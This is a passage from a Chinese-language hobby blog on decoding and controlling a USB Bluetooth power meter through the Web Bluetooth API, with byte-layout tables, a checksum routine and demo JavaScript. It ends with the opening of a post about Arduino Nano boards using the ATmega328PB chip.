console.log(exception);
});
};
var characteristicvaluechangedEventHandler = function(characteristicvaluechangedEvent) {
let byteArray = new Uint8Array(characteristicvaluechangedEvent.target.value.buffer);
console.log(byteArray.join(","));
};
}</pre>
<a name="分析訊號"></a><h4 class="mra-h4">分析訊號</h4>
<div>開發人員工具 顯示 <span class="mra-highlighter">序列資訊</span>,例如:</div>
<pre class="brush:js">255,85,1,3,0,1,226,0,0,43,0,1,216,0,0,0,232,0,7,1,40,3,32,0,1,4,33,60,9,105,0,0,1,44,0,248</pre>
<div>根據由 <a href="https://github.com/NiceLabs/atorch-console">https://github.com/NiceLabs/atorch-console</a> 的資料及在下的觀察<br/>
這款 U96PB 的 USB藍牙電量檢測器 序列資料的內容如下:</div>
<table class="mra-table mra-collapse" border="1" width="80%" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="10%"/>
<col width="15%"/>
<col width="15%"/>
<col width="50%"/>
</colgroup>
<thead>
<tr>
<th colspan="2">偏移</th>
<th rowspan="2">位元組長度</th>
<th rowspan="2">類型</th>
<th rowspan="2">功能</th>
</tr>
<tr>
<th>十進制</th>
<th>十六進制</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0x00</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">標頭</td>
</tr>
<tr>
<td>1</td>
<td>0x01</td>
</tr>
<tr>
<td>2</td>
<td>0x02</td>
<td>1</td>
<td>無符號數值</td>
<td>操作類型
<ul>
<li>0x01 為 <span class="mra-highlighter">報告(Report)</span></li>
<li>0x02 為 <span class="mra-highlighter">回應(Reply)</span></li>
<li>0x11 為 <span class="mra-highlighter">指令(Command)</span></li>
</ul>
</td>
</tr>
<tr>
<td>3</td>
<td>0x03</td>
<td>1</td>
<td>無符號數值</td>
<td>差電類型
<ul>
<li>0x01 為 <span class="mra-highlighter">直流電(DC)</span></li>
<li>0x02 為 <span class="mra-highlighter">交流電(AC)</span></li>
<li>0x03 為 <span class="mra-highlighter">USB</span></li>
</ul>
</td>
</tr>
<tr>
<td>4</td>
<td>0x04</td>
<td rowspan="3">3</td>
<td rowspan="3">無符號數值</td>
<td rowspan="3">電壓(Voltage)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>5</td>
<td>0x05</td>
</tr>
<tr>
<td>6</td>
<td>0x06</td>
</tr>
<tr>
<td>7</td>
<td>0x07</td>
<td rowspan="3">3</td>
<td rowspan="3">無符號數值</td>
<td rowspan="3">電流(Current)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>8</td>
<td>0x08</td>
</tr>
<tr>
<td>9</td>
<td>0x09</td>
</tr>
<tr>
<td>10</td>
<td>0x0A</td>
<td rowspan="3">3</td>
<td rowspan="3">無符號數值</td>
<td rowspan="3">累計毫安每小時(mAh)</td>
</tr>
<tr>
<td>11</td>
<td>0x0B</td>
</tr>
<tr>
<td>12</td>
<td>0x0C</td>
</tr>
<tr>
<td>13</td>
<td>0x0D</td>
<td rowspan="4">4</td>
<td rowspan="4">無符號數值</td>
<td rowspan="4">累計功率每小時(Wh)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>14</td>
<td>0x0E</td>
</tr>
<tr>
<td>15</td>
<td>0x0F</td>
</tr>
<tr>
<td>16</td>
<td>0x10</td>
</tr>
<tr>
<td>17</td>
<td>0x11</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">USB D- 訊號電壓<br/>(需要 除以100)</td>
</tr>
<tr>
<td>18</td>
<td>0x12</td>
</tr>
<tr>
<td>19</td>
<td>0x13</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">USB D+ 訊號電壓<br/>(需要 除以100)</td>
</tr>
<tr>
<td>20</td>
<td>0x14</td>
</tr>
<tr>
<td>21</td>
<td>0x15</td>
<td rowspan="2">2</td>
<td rowspan="2">有符號數值</td>
<td rowspan="2">攝氏度(Degree Celsius),第15位元表達正負<br/>當資料為負數時,要以二補碼方式計算</td>
</tr>
<tr>
<td>22</td>
<td>0x16</td>
</tr>
<tr>
<td>23</td>
<td>0x17</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">累計差電時數(Total Charge Hours)</td>
</tr>
<tr>
<td>24</td>
<td>0x18</td>
</tr>
<tr>
<td>25</td>
<td>0x19</td>
<td>1</td>
<td>無符號數值</td>
<td>累計差電分鐘(Total Charge Minutes)</td>
</tr>
<tr>
<td>26</td>
<td>0x1A</td>
<td>1</td>
<td>無符號數值</td>
<td>累計差電秒數(Total Charge Seconds)</td>
</tr>
<tr>
<td>27</td>
<td>0x1B</td>
<td>1</td>
<td>無符號數值</td>
<td>自動休眠秒數(Auto Sleep Seconds)</td>
</tr>
<tr>
<td>28</td>
<td>0x1C</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">最高保護電壓(Maximum Protection Voltage)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>29</td>
<td>0x1D</td>
</tr>
<tr>
<td>30</td>
<td>0x1E</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">最低保護電壓(Minimum Protection Voltage)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>31</td>
<td>0x1F</td>
</tr>
<tr>
<td>32</td>
<td>0x20</td>
<td rowspan="2">2</td>
<td rowspan="2">無符號數值</td>
<td rowspan="2">最高保護電流(Maximum Protection Current)<br/>(需要 除以100)</td>
</tr>
<tr>
<td>33</td>
<td>0x21</td>
</tr>
<tr>
<td>34</td>
<td>0x22</td>
<td>1</td>
<td>無符號數值</td>
<td>背光光度(Backlight)</td>
</tr>
<tr>
<td>35</td>
<td>0x23</td>
<td>1</td>
<td>無符號數值</td>
<td>校驗和(Checksum)</td>
</tr>
</tbody>
</table>
<div>由於 <span class="mra-highlighter">電阻</span> 、 <span class="mra-highlighter">功率</span> 、 <span class="mra-highlighter">華氏度</span> 是計算而來的資料,因此不會在序列資料中顯示<br/>
但要計算這些資料亦很簡單:
<ul>
<li aria-label="電阻 等於 電壓 除以 電流">電阻 = 電壓 / 電流</li>
<li aria-label="電阻 等於 電壓 乘以 電流">功率 = 電壓 * 電流</li>
<li aria-label="華氏度 等於 攝氏度 乘以 9 除以 5 加 32">華氏度 = 攝氏度 * 9 / 5 + 32</li>
</ul>
</div>
<br/>
<div>留意:當沒有負載時,電流為0,會導致計算電阻時會出錯(除以0為沒有意義)</div>
<br/>
<div>另外有些資料由多組資料表示,例如例子中的電壓資料為 0x00, 0x01, 0xE2<br/>
由於資料以 <span class="mra-highlighter">最高位順序(Big Endian)</span> ,即是資料會由陣列中最高位開始計算</div>
<pre class="brush:js">(0xE2 + (0x01 << 8) + (0x00 << 16)) / 100</pre>
<div>計算結果是 4.82</div>
<br/>
<div>編寫以 <span class="mra-highlighter">最高位順序</span> 陣列計算的功能</div>
<pre class="brush:js">function calculate(byteArray, signed) {
let sum = 0;
for (let i = 0; i < byteArray.length; i++) {
sum += byteArray[byteArray.length - i - 1] << (8 * i);
}
// 使用二補數來計算有符號數值
if (signed && (sum >> (8 * byteArray.length - 1)) > 0) {
sum ^= -(1 << (8 * byteArray.length));
}
return sum;
}
// byteArray.slice(4, 7) 會截取 byteArray[4], byteArray[5], byteArray[6] 的資料
// 並傳回 索引(index) 由 0 開始的陣列
console.log(calculate(byteArray.slice(4, 7)) / 100);
// 電壓的計算結果需要 除以 100</pre>
<div><a href="https://photos.google.com/share/AF1QipN3zHxc3AQkw5bzXVYsnnkOGD9Nz8O4O8ypr06AR19ZHQUEeIJryIAeMyWOBPtPzA/photo/AF1QipOXI_4QdZEtMfnXj8P2-9t1ZTH1wmomaMBDGk5_?key=NGd2eEYzUFJLYjVoWFdvNExwcnNaVkRZb0ZGa2VB"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-Pu5VfN7R53U/ZMf_FbOjBII/AAAAAAADEYI/YV2mdmOvDQA-U1TKHpzIInaj5ZmWl0maQCEwYBhgLKpcGAPYkdFsRos42brgc5zi7_8DzSp6T2E1xFvSMiMkk7wdo-WUDhHXx70ywM44bnGifr36fIwFvvfqpc9wUTjOWGTBZBtuY7zwQZORMjYAwHtoYHdn2lq3gsOqWU2QqD-14y0QVnrqVnfTWb9VRxklv3tYA4g_z7jhmeCP6K8VDL6I-EaRr56njK1kGWtryLof0lMziwHg1iS8AhCNxEX9m7iznnnCKqp2vnLH7vtCH4Q6luW_wlCeNCCmIM7bzoCq2Co1l7gYXoRdZsFU81GlIj6ewk5Xmy25Dyfl9iNH99KdGt-On77M0OPT6LZRi8v1DYGWryM6g18VxIxpGzoemvB0CDGkAadaVVO8jr5kxW4tLWpsRN5z4_xV2_Yi748IrycCHeG2C7ROkI6x4uF2Pb0_i0U94tCw4WTiEUdf0SOnzGkNa-4hfEbtWTS50tihc2HVojjfU_q33MOnURkBMD9hHTDy_rueEGK9E-j_7XZZapjy0-xtIUNP7LF7-cKGAUhPnDBCca2S1GpxM5QzYGoZDs4Lsbl0OxX8qri9Np6186HWjRO7DCCLmeNuTQwB25DY-ZqcQ5z6Ey0aTAAPbKlKjT52rQ7xmc4ecdRoxmD0vshahQ2GUReBR6uOFxxOhKTkgvNL0sgOnGf5CK9ue4NdUAfp-ey9Tq-QG67HRuAa3fWT7UQ6Wf6iAnmucN4M7Ev5IrbE7-emxQPPh8dk6RS7qyA3IVL_DsdG-RuHSHdI4kdosOvsJx5fjOXDDZrQa2maDuZcrpwgE2YScQFSPD0Bd6hshir-qNOyq6fjrsXDln3gZzmJVUv5Ob-NJbRZPfLLma0IpksG1tTXN4vScFGndhlg8JsQNlc35fV8pgOcDyi9JPji10z1D2ZdTiIzxT4wNsG9hLf3THuZciXos9uh2HesG-VuVcwwff7xdvNjjT5-KLbU8mnnonDrh_rCPHOAOkEq7YZ0XanE8VAuYGzRHP1Q8-hHwTI4SZKqWOMSIVp-PZmDxaQCJZQHPabWBnB7xu-Zf5vJ_3KzwrOcAAflCP9ObMxkw0oLMqAY/w600/web-bluetooth-serial-data-019.mp4"/></a></div>
<div>能夠正確計算資料後,便可以透過網頁顯示資料</div>
<br/>
<a name="控制訊號"></a><h4 class="mra-h4">控制訊號</h4>
<div>除了讀取資料,還可以將資料寫入來控制 USB藍牙電量檢測器</div>
<table class="mra-table mra-collapse" border="1" width="80%" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="10%"/>
<col width="10%"/>
<col width="10%"/>
<col width="60%"/>
</colgroup>
<thead>
<tr>
<th colspan="2">偏移</th>
<th colspan="2">資料</th>
<th rowspan="2">功能</th>
</tr>
<tr>
<th>十進制</th>
<th>十六進制</th>
<th>十進制</th>
<th>十六進制</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0x00</td>
<td>255</td>
<td>0xFF</td>
<td rowspan="2">標頭</td>
</tr>
<tr>
<td>1</td>
<td>0x01</td>
<td>85</td>
<td>0x55</td>
</tr>
<tr>
<td>2</td>
<td>0x02</td>
<td>17</td>
<td>0x11</td>
<td>宣告序列訊號為指令操作</td>
</tr>
<tr>
<td>3</td>
<td>0x03</td>
<td>3</td>
<td>0x03</td>
<td>差電類型,與報告相同</td>
</tr>
<tr>
<td>4</td>
<td>0x04</td>
<td>?</td>
<td>?</td>
<td>指令</td>
</tr>
<tr>
<td>5</td>
<td>0x05</td>
<td>?</td>
<td>?</td>
<td rowspan="4">4位元組參數(最高位順序)</td>
</tr>
<tr>
<td>6</td>
<td>0x06</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>7</td>
<td>0x07</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>8</td>
<td>0x08</td>
<td>?</td>
<td>?</td>
</tr>
<tr>
<td>9</td>
<td>0x09</td>
<td>?</td>
<td>?</td>
<td>校驗和</td>
</tr>
<tr>
</tbody>
</table>
<a name="指令及功能"></a><h4 class="mra-h4">指令及功能</h4>
<div>控制 USB藍牙電量檢測器 需要對應的指令</div>
<table class="mra-table mra-collapse" border="1" width="80%" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="10%"/>
<col width="80%"/>
</colgroup>
<thead>
<tr>
<th colspan="2">指令</th>
<th rowspan="2">功能</th>
</tr>
<tr>
<th>十進制</th>
<th>十六進制</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0x01</td>
<td>重設累計功率每小時(Reset Wh)</td>
</tr>
<tr>
<td>2</td>
<td>0x02</td>
<td>重設累計毫安培每小時(Reset mAh)</td>
</tr>
<tr>
<td>3</td>
<td>0x03</td>
<td>重設累計時間(Reset Time)</td>
</tr>
<tr>
<td>5</td>
<td>0x05</td>
<td>前往下一筆紀錄(Next Record)</td>
</tr>
<tr>
<td>49</td>
<td>0x31</td>
<td>進入設定模式(Setup)</td>
</tr>
<tr>
<td>50</td>
<td>0x32</td>
<td>離開設定模式(Exit)</td>
</tr>
<tr>
<td>51</td>
<td>0x33</td>
<td>移到上一頁或增加設定值(Next/Inceament)</td>
</tr>
<tr>
<td>52</td>
<td>0x34</td>
<td>移到下一頁或減少設定值(Previous/Deceament)</td>
</tr>
<tr>
</tbody>
</table>
<div>指令要正確寫入,最麻煩是需要計算 校驗和(Checksum)<br/>
幸好 <a href="https://github.com/NiceLabs/atorch-console">https://github.com/NiceLabs/atorch-console</a> 都有提供 校驗和 的計算方法<br/>
計算方法使用 <span class="mra-highlighter">Lambda語法</span> 編寫,雖然 Lambda語法 減少語法內容,但在下認為這種語法比傳統計算方法複雜<br/>
因此在下修改為以 <span class="mra-highlighter">For Loop</span> 編寫,比較更容易明白,移植亦比較簡單</div>
<pre class="brush:js">function checksum(byteArray) {
let checksum = 0;
for (let i = 2; i < byteArray.length - 1; i++) {
checksum += byteArray[i] & 0xFF;
}
// the last element is checksum
byteArray[byteArray.length - 1] = checksum ^ 0x44;
return byteArray;
}
let byteArray = checkcum([0xFF, 0x55, 0x11, 0x03, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00]);</pre>
<pre class="brush:js">// javascript.js
function WebBluetoothAPI(serviceUUID, characteristicUUID) {
var serviceCharacteristic;
this.connect = function() {
navigator.bluetooth.requestDevice({
"filters": [
{
"services": [
serviceUUID
]
}
]
}).then(function(device) {
console.log("device found");
return device.gatt.connect();
}).then(function(server) {
console.log("server found");
return server.getPrimaryService(serviceUUID);
}).then(function(service) {
console.log("service found");
return service.getCharacteristic(characteristicUUID);
}).then(function(characteristic) {
console.log("characteristic found");
serviceCharacteristic = characteristic;
characteristic.startNotifications().then(function() {
console.log("notification started");
characteristic.addEventListener("characteristicvaluechanged", characteristicvaluechangedEventHandler);
});
}).catch(function(exception) {
console.log(exception);
});
};
var characteristicvaluechangedEventHandler = function(characteristicvaluechangedEvent) {
let byteArray = new Uint8Array(characteristicvaluechangedEvent.target.value.buffer);
let data = {};
data["header"] = [byteArray[0], byteArray[1]];
data["operation"] = byteArray[2];
data["charge"] = byteArray[3];
data["voltage"] = calculate(byteArray.slice(4, 7)) / 100;
data["current"] = calculate(byteArray.slice(7, 10)) / 100;
data["mah"] = calculate(byteArray.slice(10, 13));
data["wh"] = calculate(byteArray.slice(13, 17)) / 100;
data["usb-"] = calculate(byteArray.slice(17, 19)) / 100;
data["usb+"] = calculate(byteArray.slice(19, 21)) / 100;
data["temperature"] = byteArray[22];
data["hours"] = calculate(byteArray.slice(23, 25));
data["minutes"] = byteArray[25];
data["seconds"] = byteArray[26];
data["sleep"] = byteArray[27];
data["max-voltage"] = calculate(byteArray.slice(28, 30)) / 100;
data["min-voltage"] = calculate(byteArray.slice(30, 32)) / 100;
data["max-current"] = calculate(byteArray.slice(32, 34)) / 100;
data["backlight"] = byteArray[34];
data["checksum"] = byteArray[35];
console.log(Object.keys(data).map(function(key) {
return key + " = " + data[key];
}).join("\n"));
};
var calculate = function(byteArray, signed) {
let sum = 0;
for (let i = 0; i < byteArray.length; i++) {
sum += byteArray[byteArray.length - i - 1] << (8 * i);
}
if (signed && (sum & (1 << (8 * byteArray.length - 1))) > 0) {
sum ^= -(1 << (8 * byteArray.length));
}
return sum;
}
var setChecksum = function(byteArray) {
let checksum = 0;
for (let i = 2; i < byteArray.length - 1; i++) {
checksum = (checksum + byteArray[i]) & 0xFF;
}
byteArray[byteArray.length - 1] = checksum ^ 0x44;
return byteArray;
};
var write = function(byteArray) {
byteArray = setChecksum(byteArray);
byteArray = new Uint8Array(byteArray);
serviceCharacteristic.writeValue(byteArray.buffer);
};
this.next = function() {
write([0xFF, 0x55, 0x11, 0x03, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00]);
};
}</pre>
<pre class="brush:html"><!-- index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Web Bluetooth API</title>
<script src="javascript.js"></script>
<script>
var webBluetoothAPI = new WebBluetoothAPI("0000ffe0-0000-1000-8000-00805f9b34fb", "0000ffe1-0000-1000-8000-00805f9b34fb");
</script>
</head>
<body>
<button onclick="webBluetoothAPI.connect();">Connect</button>
<button onclick="webBluetoothAPI.next();">Connect</button>
</body>
</html></pre>
<div><a href="https://photos.google.com/share/AF1QipN3zHxc3AQkw5bzXVYsnnkOGD9Nz8O4O8ypr06AR19ZHQUEeIJryIAeMyWOBPtPzA/photo/AF1QipM0jWWxWRj5LIlBsrh6k645zAOLuvKA8UsI7WlX?key=NGd2eEYzUFJLYjVoWFdvNExwcnNaVkRZb0ZGa2VB"><img alt="見下文" title="見下文" width="600" src="https://lh3.googleusercontent.com/-3VRsFxpdwLU/ZNEgv3AwN0I/AAAAAAADEgg/Mp2O9HNfnCk37qzNeoWzu37XgBIxwq8BQCEwYBhgLKpcGAPYkdFsRos42brgc5zi7_8DzSp6T2E1xFvSMiMkk7wdo-WUDhHXx70ywM44bnGifr36fIwFvvfqpc9wUTjOWGTBZBtuY7zwQZORMjYAwHtoYHdn2lq3gsOqWU2QqD-14y0QVnrqVnfTWb9VRxklv3tYA4g_z7jhmeCP6K8VDL6I-EaRr56njK1kGWtryLof0lMziwHg1iS8AhCNxEX9m7iznnnCKqp2vnLH7vtCH4Q6luW_wlCeNCCmIM7bzoCq2Co1l7gYXoRdZsFU81GlIj6ewk5Xmy25Dyfl9iNH99KdGt-On77M0OPT6LZRi8v1DYGWryM6g18VxIxpGzoemvB0CDGkAadaVVO8jr5kxW4tLWpsRN5z4_xV2_Yi748IrycCHeG2C7ROkI6x4uF2Pb0_i0U94tCw4WTiEUdf0SOnzGkNa-4hfEbtWTS50tihc2HVojjfU_q33MOnURkBMD9hHTDy_rueEGK9E-j_7XZZapjy0-xtIUNP7LF7-cKGAUhPnDBCca2S1GpxM5QzYGoZDs4Lsbl0OxX8qri9Np6186HWjRO7DCCLmeNuTQwB25DY-ZqcQ5z6Ey0aTAAPbKlKjT52rQ7xmc4ecdRoxmD0vshahQ2GUReBR6uOFxxOhKTkgvNL0sgOnGf5CK9ue4NdUAfp-ey9Tq-QG67HRuAa3fWT7UQ6Wf6iAnmucN4M7Ev5IrbE7-emxQPPh8dk6RS7qyA3IVL_DsdG-RuHSHdI4kdosOvsJx5fjOXDDZrQa2maDuZcrpwgE2YScQFSPD0Bd6hshir-qNOyq6fjrsXDln3gZzmJVUv5Ob-NJbRZPfLLma0IpksG1tTXN4vScFGndhlg8JsQNlc35fV8pgOcDyi9JPji10z1D2ZdTiIzxT4wNsG9hLf3THuZciXos9uh2HesG-VuVcwwff7xdvNjjT5-KLbU8mnnonDrh_rCPHOAOkEq7YZ0XanE8VAuYGzRHP1Q8-hHwTI4SZKqWOMSIVp-PZmDxaQCJZQHPabWBnB7xu-Zf5vJ_3KzwrOcAAflCP9ObMxkw0oLMqAY/w600/web-bluetooth-serial-data-020.mp4"/></a></div>
<div>可以透過網頁控制 USB藍牙電量檢測器</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>當 宿主程式 使用 <span class="mra-highlighter">射頻通訊(Radio frequency Communication (RFCOMM))</span> 偵測訊號時<br/>
會顯示 USB藍牙電量檢測器 的藍牙名稱為 <span class="mra-highlighter">UC96_SPP</span><br/>
而使用 <span class="mra-highlighter">藍牙低功耗(Bluetooth Low Energy (BLE))</span> 會顯示 <span class="mra-highlighter">UC96_BLE</span><br/>
即是裝置支援舊版本或新版本的藍牙通訊模式</div>
<br/>
<div>過去都曾經試用 Web Bluetooth API ,但當時只是因為測試效果,並沒有詳細理解原理<br/>
但這次在下想正式使用 Web Bluetooth API 向藍牙裝置接收及發送訊號,因此正式學習使用方法</div>
<br/>
<div>當中在下最大的發現是,當使用 Web Bluetooth API 連接服務或特徵時<br/>
例如在下正在使用 USB藍牙電量檢測器 需要以 UUID 的方式連接時<br/>
<span class="mra-highlighter">UUID 的英文字母必須使用小寫</span> 才能連接,大寫是不被接受</div>
<br/>
<div>在下並不知道有其他人都有逆向工程這種 USB藍牙電量檢測器 的想法<br/>
最初分析藍牙訊號時,花了大量時間不斷比較每組資料與 USB藍牙電量檢測器 的差異<br/>
但當中仍然有大量資訊無法分析,在網上尋找資料時,發現有相似的專案<br/>
雖然專案中並沒有提供與在下使用的 USB藍牙電量檢測器 的相同型號資料,但其他型號仍然有參考作用<br/>
因此進度大幅提升</div>
<br/>
<div>越來越多智能產品需要使用 Android 或 iOS 的應用程式來讀取或控制<br/>
但在下覺得這種設計的限制非常大;其實網頁技術越來越全面,方便不同平台才是良好的設計<br/>
反而是某些平台或系統限制使用者及開發者的選擇,結果只能以不方便的方法使用科技產品<br/>
當平台或系統失效時,跟隨的工具都會一同失效,使用者及開發者同樣損失</div>
<br/>
<div>在下將網頁版上載到 <a href="https://hkgoldenmra.bitbucket.io/html5-web-bluetooth-atorch-serial-monitor/">https://hkgoldenmra.bitbucket.io/html5-web-bluetooth-atorch-serial-monitor/</a><br/>
如果閣下有興趣,可以直接使用,或下載使用</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.nordicsemi.com/">Nordic Semiconductor 官方網站</a></li>
<li><a href="https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp">nRF Connect for Mobile @ Play Store</a></li>
<li><a href="https://apps.apple.com/app/nrf-connect-for-mobile/id1054362403">nRF Connect for Mobile @ App Store</a></li>
<li><a href="https://github.com/NiceLabs/atorch-console">NiceLabs/atorch-console @ GitHub</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-22910263897722364562023-09-24T15:25:00.001+08:002023-09-24T15:25:11.973+08:00Arduino Nano ATmega328PB !?<div>最初的 Arduino Nano 使用 Mini USB Type-B 插孔<br/>
早期的 Arduino Nano 兼容開發板同樣使用 Mini USB Type-B 插孔<br/>
但使用 Mini USB Type-B 的裝置已經越來越少,傳輸線亦較難找到<br/>
因此在下想尋找一些 使用 Micro USB Type-B 或 USB Type-C 的 Arduino Nano<br/>
雖然找到這些 Arduino Nano ,但卻需要額外工序才能使用</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#不同USB介面的ArduinoNano">不同 USB介面 的 Arduino Nano</a></li>
<li><a href="#ATmega328PB晶片">ATmega328PB 晶片</a></li>
<li><a href="#ATmega328PB上載錯誤">ATmega328PB 上載錯誤</a></li>
<li><a href="#修改avrdude.conf設定檔">修改 avrdude.conf 設定檔</a></li>
<li><a href="#修改boards.txt設定檔">修改 boards.txt 設定檔</a></li>
<li><a href="#使用MiniCore">使用 Mini Core</a></li>
<li><a href="#燒錄ATmega328PBBootloader">燒錄 ATmega328PB Bootloader</a></li>
<li><a href="#USBISP燒錄器">USB ISP 燒錄器</a></li>
<li><a href="#ICSP10介面">ICSP-10 介面</a></li>
<li><a href="#經USBISP上載Sketch">經 USB ISP 上載 Sketch</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="不同USB介面的ArduinoNano"></a><h4 class="mra-h4">不同 USB介面 的 Arduino Nano</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix6DwZD07FvzgV5WuOGQVdit80jX7wvl8Sx5FmdXdZwrR4QXIA7om1v3D02NoFoQyxXyvY7HRd5aeR5tUH_CT1fV8OVGjybFml-BugLCETaQ5gTrDdpOHF7kYp_majBBF-c2WiWqV-C0jG9vjBLtmiJeZHFRmvTvpo33QjuFpzbwlebDJgf_51BJOUJdM/w0/arduino-nano-atmega328pb-001.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix6DwZD07FvzgV5WuOGQVdit80jX7wvl8Sx5FmdXdZwrR4QXIA7om1v3D02NoFoQyxXyvY7HRd5aeR5tUH_CT1fV8OVGjybFml-BugLCETaQ5gTrDdpOHF7kYp_majBBF-c2WiWqV-C0jG9vjBLtmiJeZHFRmvTvpo33QjuFpzbwlebDJgf_51BJOUJdM/w600/arduino-nano-atmega328pb-001.jpg" width="600" alt="見下文" title="見下文"></a></div>
<div>使用 Micro USB Type-B 或 USB Type-C 的 Arduino Nano 兼容開發板</div>
<br/>
<a name="ATmega328PB晶片"></a><h4 class="mra-h4">ATmega328PB 晶片</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkLWPWZeHwuUFz_iM__LZ7xZXFRkpQYGqVQj2RkNh43FCJSiZic_dp-j1xvhMHLE1gQhCRdLBEKTwii_X5YtUIwCFs4sKRvPzUyRew7wivzCJXIWYA4tcyAIpxwyaI0OkRjowYIeHioQykeC2gnupUMgUrMA0quEhDAElRf6g8wXlEjopCN38Wn9b48Xk/w0/arduino-nano-atmega328pb-002.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkLWPWZeHwuUFz_iM__LZ7xZXFRkpQYGqVQj2RkNh43FCJSiZic_dp-j1xvhMHLE1gQhCRdLBEKTwii_X5YtUIwCFs4sKRvPzUyRew7wivzCJXIWYA4tcyAIpxwyaI0OkRjowYIeHioQykeC2gnupUMgUrMA0quEhDAElRf6g8wXlEjopCN38Wn9b48Xk/w600/arduino-nano-atmega328pb-002.jpg" width="600" alt="見下文" title="見下文"></a></div>
<div>Mini USB Type-B 的 Arduino Nano 或 兼容 Arduino Nano 開發板 使用 <span class="mra-highlighter">ATmega328P</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDaZaEw8HWL-XNA5n0NdUwKt2eUNseXoGazbD6vvWvSCmZvm5tyVMbAsld4FmhVeNqkmkvPr2FaOpf_llA7QsHf3UzQ7b6Lo65_80AdRq9JUer0rhTGxnsLFCv47gDHQewqFzZyAQNciFaEozmjnrq59Wvmfq7-kEXiP_O32-Y06MMuSwlNdKEUcO7FbM/w0/arduino-nano-atmega328pb-003.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDaZaEw8HWL-XNA5n0NdUwKt2eUNseXoGazbD6vvWvSCmZvm5tyVMbAsld4FmhVeNqkmkvPr2FaOpf_llA7QsHf3UzQ7b6Lo65_80AdRq9JUer0rhTGxnsLFCv47gDHQewqFzZyAQNciFaEozmjnrq59Wvmfq7-kEXiP_O32-Y06MMuSwlNdKEUcO7FbM/w600/arduino-nano-atmega328pb-003.jpg" width="600" alt="見下文" title="見下文"></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCCsgTk9wqT9t81Mbi1WNe02a-uZliqx7Z2l3n6vE0_wnH-HJaRqL-vAQDKCfxgugldlX0nx3dRSxlVyUkWHQIhn0W5PCPAhHN3r0em8xBiNsSswXcQxIiHUCSj2ul6NSM3nO0lU1KRRhzDpekro9-4tWpgploKv-q1CxQtEhUrLfCKLkGn41tIHCOuFU/w0/arduino-nano-atmega328pb-004.jpg"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCCsgTk9wqT9t81Mbi1WNe02a-uZliqx7Z2l3n6vE0_wnH-HJaRqL-vAQDKCfxgugldlX0nx3dRSxlVyUkWHQIhn0W5PCPAhHN3r0em8xBiNsSswXcQxIiHUCSj2ul6NSM3nO0lU1KRRhzDpekro9-4tWpgploKv-q1CxQtEhUrLfCKLkGn41tIHCOuFU/w600/arduino-nano-atmega328pb-004.jpg" width="600" alt="見下文" title="見下文"></a></div>
<div>在下發現 Micro USB Type-B 或 USB Type-C Arduino Nano 開發板 則使用 <span class="mra-highlighter">ATmega328PB</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs8xRjtiqxkXfzCe1hAX8s9YTz1sStwGiVfw_xcaJl9DalAOpUsj3o7EheausOxHCC0hImPEY6DNixW758ySpENuQ0SMeFHX3H1FLVmaKHHjLMh3oDpLIibDHonJyeX4TZNICA53_VG1lcmt6niFiN99meLQiNb2jKVp8vcAbgnAf9nsrMuvrFhcZubYE/w0/arduino-nano-atmega328pb-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjs8xRjtiqxkXfzCe1hAX8s9YTz1sStwGiVfw_xcaJl9DalAOpUsj3o7EheausOxHCC0hImPEY6DNixW758ySpENuQ0SMeFHX3H1FLVmaKHHjLMh3oDpLIibDHonJyeX4TZNICA53_VG1lcmt6niFiN99meLQiNb2jKVp8vcAbgnAf9nsrMuvrFhcZubYE/w600/arduino-nano-atmega328pb-005.jpg"/></a></div>
<div>使用 ATmega328P 開發板 接駁電源,顯示電源的 LED 為 <span class="mra-highlighter">綠色</span><br/>
